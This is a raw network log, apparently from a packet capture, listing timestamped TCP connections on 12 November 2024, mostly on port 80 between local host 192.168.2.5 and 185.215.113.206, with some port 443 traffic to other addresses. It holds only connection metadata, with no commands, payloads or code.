Nov 12, 2024 04:16:28.908021927 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908034086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908057928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908058882 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908071041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908082962 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908087969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908094883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908097029 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908128977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908142090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908154964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908181906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908194065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908206940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908219099 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908231974 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908233881 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908243895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908252001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908268929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908274889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908288002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908298969 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908298969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908312082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908319950 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908339024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908359051 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908375025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908385992 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908386946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908406019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908417940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908425093 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908461094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908462048 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908468008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908480883 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908516884 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908539057 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908551931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908562899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908574104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908579111 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908613920 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908622980 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908632994 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908675909 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908776045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908787966 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908798933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908817053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908818007 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908830881 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908844948 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908844948 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908859968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908871889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908875942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908885002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908895016 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908898115 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908910990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.908922911 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908951998 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.908987045 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.908997059 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.909164906 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.909338951 CET	49811	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.909353018 CET	443	49811	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.909784079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.909833908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.909836054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.909849882 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.909874916 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.909900904 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.909905910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.909918070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.909929991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.909943104 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.909951925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.909976006 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.910013914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910032034 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910047054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910056114 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.910059929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910072088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910072088 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.910085917 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910098076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910104990 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.910109043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910124063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910132885 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.910152912 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.910166979 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910176039 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.910181999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910197020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910206079 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.910211086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910222054 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.910224915 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910250902 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.910275936 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.910300970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910314083 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910324097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910336971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910341024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.910355091 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910356045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.910370111 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910377979 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.910381079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910399914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910408020 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.910423040 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910425901 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.910440922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910453081 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910464048 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.910465002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.910470963 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.910505056 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.916295052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.916310072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.916321993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.916351080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.916353941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.916368008 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:28.916372061 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.916418076 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:28.955212116 CET	443	49801	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.955528975 CET	443	49801	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.955588102 CET	49801	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.955709934 CET	49801	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.955719948 CET	443	49801	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.955729008 CET	49801	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.955732107 CET	443	49801	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.956252098 CET	443	49791	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:28.965023041 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.965040922 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:28.965231895 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.965416908 CET	49812	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:28.965428114 CET	443	49812	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.000598907 CET	443	49804	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.001213074 CET	49804	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.001233101 CET	443	49804	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.001650095 CET	49804	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.001656055 CET	443	49804	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.013909101 CET	49791	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:29.013917923 CET	443	49791	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:29.017509937 CET	49791	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:29.017524004 CET	49791	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:29.017644882 CET	443	49791	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:29.017673016 CET	443	49791	20.190.159.0	192.168.2.5
Nov 12, 2024 04:16:29.017869949 CET	49791	443	192.168.2.5	20.190.159.0
Nov 12, 2024 04:16:29.022229910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022296906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022309065 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022327900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022329092 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.022341013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022346973 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.022356033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022375107 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.022406101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.022413969 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022425890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022435904 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022449017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022455931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.022460938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022473097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022475004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.022485971 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022500038 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.022528887 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.022730112 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022742033 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022753000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022763968 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022778034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.022783041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022795916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022799015 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.022808075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022819996 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.022820950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022849083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.022850037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022862911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022867918 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.022875071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022887945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022891045 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.022902012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022907972 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.022913933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022932053 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022944927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022949934 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.022954941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.022974014 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.022994041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.023210049 CET	443	49805	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:29.023302078 CET	443	49805	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:29.023323059 CET	49805	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:29.023343086 CET	49805	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:29.031450033 CET	443	49806	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:29.031505108 CET	49806	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:29.094980955 CET	49813	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:29.095010996 CET	443	49813	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:29.095145941 CET	49814	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:29.095175982 CET	443	49814	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:29.095179081 CET	49813	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:29.095218897 CET	49814	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:29.095360041 CET	49813	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:29.095374107 CET	443	49813	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:29.095488071 CET	49814	443	192.168.2.5	162.159.61.3
Nov 12, 2024 04:16:29.095499039 CET	443	49814	162.159.61.3	192.168.2.5
Nov 12, 2024 04:16:29.103076935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.107995987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.136820078 CET	443	49804	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.136898994 CET	443	49804	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.137655973 CET	49804	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.137726068 CET	49804	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.137727022 CET	49804	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.137744904 CET	443	49804	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.137753963 CET	443	49804	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.149081945 CET	49815	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.149110079 CET	443	49815	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.149243116 CET	49815	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.149560928 CET	49815	443	192.168.2.5	13.107.246.45
Nov 12, 2024 04:16:29.149574041 CET	443	49815	13.107.246.45	192.168.2.5
Nov 12, 2024 04:16:29.346395969 CET	49816	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:29.346432924 CET	443	49816	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:29.346513987 CET	49816	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:29.346787930 CET	49816	443	192.168.2.5	20.189.173.16
Nov 12, 2024 04:16:29.346805096 CET	443	49816	20.189.173.16	192.168.2.5
Nov 12, 2024 04:16:29.350332975 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:29.350594997 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:29.350608110 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:29.350943089 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:29.352214098 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:29.352283001 CET	443	49807	13.107.246.57	192.168.2.5
Nov 12, 2024 04:16:29.352453947 CET	49807	443	192.168.2.5	13.107.246.57
Nov 12, 2024 04:16:29.378833055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.378859997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.378871918 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.378901958 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.378915071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.378925085 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.378964901 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379041910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379054070 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379081011 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379105091 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379126072 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379138947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379148960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379159927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379170895 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379172087 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379183054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379196882 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379198074 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379216909 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379225016 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379244089 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379260063 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379271984 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379281998 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379281998 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379301071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379302025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379318953 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379333019 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379334927 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379347086 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379360914 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379370928 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379390955 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379404068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379407883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379419088 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379434109 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379445076 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379445076 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379463911 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379467010 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379477024 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379486084 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379489899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379504919 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379514933 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379517078 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379539967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379540920 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379553080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379563093 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379564047 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379579067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379590988 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379591942 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379604101 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379616976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379618883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379636049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379643917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379650116 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379653931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379662037 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379673958 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379683018 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379687071 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379710913 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379741907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379808903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379820108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379829884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379842043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379853010 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379858017 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379864931 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379877090 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379877090 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379889011 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379889965 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379901886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379914045 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379921913 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379933119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379951000 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379951000 CET	49750	80	192.168.2.5	185.215.113.206
Nov 12, 2024 04:16:29.379962921 CET	80	49750	185.215.113.206	192.168.2.5
Nov 12, 2024 04:16:29.379976034 CET	80	49750	185.215.113.206	192.168.2.5
